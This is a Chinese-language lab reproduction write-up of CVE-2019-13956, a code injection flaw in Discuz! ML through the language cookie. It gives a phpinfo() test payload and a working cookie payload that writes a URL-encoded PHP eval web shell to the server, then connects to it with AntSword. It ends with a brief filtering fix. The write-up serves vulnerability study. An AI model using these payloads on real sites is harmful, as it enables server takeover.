0.漏洞简述
Discuz! ML V3.X 版本中存在一处远程任意代码执行的执行的漏洞,编号为CVE-2019-13956
。
Discuz! ML 是基于Discuz!创建的一个多国语言版本,其在切换语言时cookie中的language参数由于没有进行一定的过滤,导致可以拼接任意代码执行,而且这个漏洞利用起来也非常的简单,危害也很大。
1.环境搭建
本次环境使用的是sourceforge上下载的X3.2版本。
直接利用phpstudy在虚拟机上把下载下来的upload目录拖入根目录,然后利用discuz的安装程序直接进行安装。
由于过程比较简单也不是本文的重点,所以不多赘述。
2.漏洞复现
2.1寻找注入点
打开首页以后我们直接利用burp抓包,然后点击右上角的语言切换触发post,此时我们可以看到cookie为
Cookie: ywi_2132_saltkey=uRA4yJj4; ywSi_2132_lastvisit=1650978448; ywSi_2132_sid=Ynk68P; ywSi_2132_language=sc; ywSi_2132_checkpatch=1; ywSi_2132_onlineusernum=1; ywSi_2132_lastact=1650988584%09home.php%09misc; ywSi_2132_sendmail=1
而其中ywSi_2132_language=sc;
正是我们要找的地方。
2.2测试注入点
我们在burp中在sc的后面加上'.phpinfo().'
,修改后为ywSi_2132_language=sc'.phpinfo().'
,然后点击Forward
按钮来查看页面能否显示出phpinfo,从而来判断漏洞是否存在。
页面刷新后成功显示出PHP的相关信息,证明漏洞是可以利用的!
2.3利用漏洞获得控制权
既然知道了cookie中的language参数是我们可控的,此时我们就可以构建php代码来取得控制权,此时我们把sc后面的代码改为:
'.+file_put_contents('1.php',urldecode('%253C%253Fphp%2520%2540eval%2528%2524_%2550%254F%2553%2554%255B%2527pass%2527%255D%2529%253B%253F%253E')).'
其中利用url编码是为了防止特殊字符,以及大写的POST会自动转化为小写从而导致代码失效。
成功注入以后我们可以直接利用中国蚁剑等工具进行连接(如图)。
3.漏洞修复思路
由于此次漏洞是因为cookie中的language参数未被过滤,所以可以在对应代码出利用str_replace函数对关键字符进行过滤从而防止利用。